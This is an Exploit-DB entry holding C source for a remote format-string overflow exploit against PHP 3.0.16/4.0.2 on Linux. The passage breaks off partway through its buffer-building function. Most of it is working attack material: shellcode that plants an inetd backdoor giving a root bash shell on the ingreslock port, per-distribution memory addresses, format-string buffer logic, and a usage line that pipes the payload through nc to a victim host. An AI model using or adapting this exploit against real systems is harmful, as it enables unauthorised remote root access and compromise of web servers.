Exploit-DB #220
Description: PHP 3.0.16/4.0.2 - Remote Format Overflow
Type: remote
Platform: linux
Date: 2000-12-06
Author: Gneisenau

Exploit:
/* 
 * PHP 3.0.16/4.0.2 remote format overflow exploit.
 * Copyright (c) 2000 
 * Field Marshal Count August Anton Wilhelm Neithardt von Gneisenau
 * gneisenau@berlin.com
 * my regards to sheib and darkx
 * All rights reserved
 * Pascal Boucheraine's paper was enlightening
 * THERE IS NO IMPLIED OR EXPRESS WARRANTY FOR THIS CODE. 
 * YOU ARE RESPONSIBLE FOR YOUR OWN ACTIONS AND I CANNOT BE HELD RESPONSIBLE
 * FOR THE CONSEQUENCES
 * Usage:
 * phpxpl -sx -uwww.victim.com/some.php3 | nc www.victim.com 80
 *
 * Slackware 7.0: eip address/shellcode address
 *                 0xbfff9b90/0xbfff958c
 *
 */
/*
 * We just printf the shellcode and stuff and nc it to the target
 */

#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// this exploit does not like 0x0a = '\n' in the shellcode. also the NULL at
// the end of the shellcode will be removed as the shellcode is probably
// strcatted into the buffer. so do it again in the shellcode. 
/*
 * This shellcode is for Linux/x86. 
 * This shellcode spawns a shell and runs the command
 * echo 'ingreslock stream tcp nowait root /bin/bash bash -i'>/tmp/.inetd.conf; /usr/sbin/inetd /tmp/.inetd.conf
 */
char shellcode[] = {
  0xeb,0x41,						
  0x5e, 						   
  0x31,0xc0,						
  0x31,0xdb,						
  0xb0,0xa0,						
  0x89,0x34,0x06,				
  0x8d,0x4e,0x07,				
  0x88,0x19,						
  0x41,								
  0x41,								
  0xb0,0xa4,						
  0x89,0x0c,0x06,				
  0x8d,0x4e,0x0b,				
  0x88,0x19,					
  0x41,								
  0xb0,0xa8,						
  0x89,0x0c,0x06,			
  0x8d,0x4e,0x7f,				
  0x88,0x19,						
  0x31,0xd2,						
  0xb0,0xac,						
  0x89,0x14,0x06,				
  0x89,0xf3,						
  0x89,0xf1,						
  0xb0,0xa0,					
  0x01,0xc1,						
  0xb0,0x0b,						
  0xcd,0x80,						
  0x31,0xc0,					
  0xb0,0x01,					
  0x31,0xdb,						
  0xcd,0x80,						
  0xe8,0xba,0xff,0xff,0xff,  
  0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0xff,0xff, /* the string "/bin/sh" */ 
  0x2d,0x63,0xff,						/* the string "-c"	*/
  0x2f,0x62,0x69,0x6e,0x2f,0x65,0x63,0x68,0x6f,0x20,0x27,0x69,
  0x6e,0x67,0x72,0x65,0x73,0x6c,0x6f,0x63,0x6b,0x20,0x73,0x74,
  0x72,0x65,0x61,0x6d,0x20,0x74,0x63,0x70,0x20,0x6e,0x6f,0x77,
  0x61,0x69,0x74,0x20,0x72,0x6f,0x6f,0x74,0x20,0x2f,0x62,0x69,
  0x6e,0x2f,0x62,0x61,0x73,0x68,0x20,0x62,0x61,0x73,0x68,0x20,
  0x20,0x2d,0x69,0x27,0x3e,0x2f,0x74,0x6d,0x70,0x2f,0x2e,0x69,
  0x6e,0x65,0x74,0x64,0x2e,0x63,0x6f,0x6e,0x66,0x3b,0x20,0x2f,
  0x75,0x73,0x72,0x2f,0x73,0x62,0x69,0x6e,0x2f,0x69,0x6e,0x65,
  0x74,0x64,0x20,0x2f,0x74,0x6d,0x70,0x2f,0x2e,0x69,0x6e,0x65,
  0x74,0x64,0x2e,0x63,0x6f,0x6e,0x66,0x00,
};

#define NOP 0x90


/*
 * the PHP3 error buffer will already contain PHP 3 Warning: The Content-Type
 * string was "multipart/form-data. This is 66 bytes long. we send 2 spaces
 * for padding the addresses we embed in our attack buffer on word boundary
 */
#define PHP3_WARNING 68
#define BUF_LEN 1024

struct system_type {
	char *name;
	unsigned int nop;
	char *shellcode;
	int	shellcode_len;
	int	offset;			/* the number of pops we need to get to our own data*/
	int	already_written;	/* number of bytes written by printf by the time we reach the our embedded data */
	unsigned int	eip_address; /* address where shellcode_address must be put */
	unsigned int	shellcode_address; /* address of shellcode in memory */
};

struct system_type systems[] = {
		{
			"Slackware Linux 7.0 - i386/Apache 1.3.12/PHP 3.0.16 (static module)",
			0x90,
			shellcode,
			270,	/* not exact but we got lots of space ;) */
			27,
			0x152,
			0xbfff9c30,
			0xbfff962c,
		},
		// somebody find these and fill it in please. should be 
		// straightforward.
		{
			"Red Hat 6.0 - i386/Apache 1.3.13/PHP 3.0.16 (static module)",
			(unsigned int)NULL,
			NULL,
			(int)NULL,
			(int)NULL,
			(int)NULL,
			(unsigned int)NULL,
			(unsigned int)NULL,
		},
		{
			NULL,
			(unsigned int)NULL,
			NULL,
			(int)NULL,
			(int)NULL,
			(int)NULL,
			(unsigned int)NULL,
			(unsigned int)NULL,
		},
};

void 	usage (void);
void 	parse_url (char *, char *);
void 	prepare_attack_buffer (char *, struct system_type *, char *);
int	calculate_precision (unsigned int, int);

int
main (int argc, char *argv[])
{
	char 	attack_buffer[2000];	// we construct the shellcode and stuff here
										// the target is 1024 bytes long
	struct system_type *sysptr;
	char  *url; 				// i hope these things dont get bigger than this
	char  target[2048];			// target will contain only the FQDN
	unsigned int eip_address = 0, shellcode_address = 0;
	int	ctr = 0;
	int	nop_count;
	char  *walk;
	int	arg;					 		

	// at least expect a system type and url from the command line
	if (argc < 3)
		usage ();

	// parse arguments
	while ((arg = getopt (argc, argv, "s:u:e:h:")) != -1){
		switch (arg){
			case 'h':
						sscanf (optarg, "%x", &shellcode_address);
						break;
			case 'e':
						sscanf (optarg, "%x", &eip_address);
						break;
			case 's':	
						sysptr = &systems[atoi (optarg)];
						break;
			case 'u':
						url = optarg;
						parse_url (url, target);
						break;
			case '?':
			default :	
						usage ();
		}
	}

	if (eip_address)
		sysptr->eip_address = eip_address;
	if (shellcode_address)
		sysptr->shellcode_address = shellcode_address;
	prepare_attack_buffer (attack_buffer, sysptr, url);

	// as of now write it out to stdout. later write it to a socket
	write (STDOUT_FILENO, attack_buffer, sizeof (attack_buffer));
}

void
prepare_attack_buffer (char *attack_buffer, struct system_type *system, 
								char *url)
{
	int	dest_buffer_written;		/* we keep track of how much bytes will be written in the destination buffer */
	int 	ctr;
	char	*address;
	char	buf[25];						// temp buffer for %xd%n%xd%n%xd%n%xd%n
											// where x is precision
	int 	p1,p2,p3,p4;
	int	nop_count;

	bzero (attack_b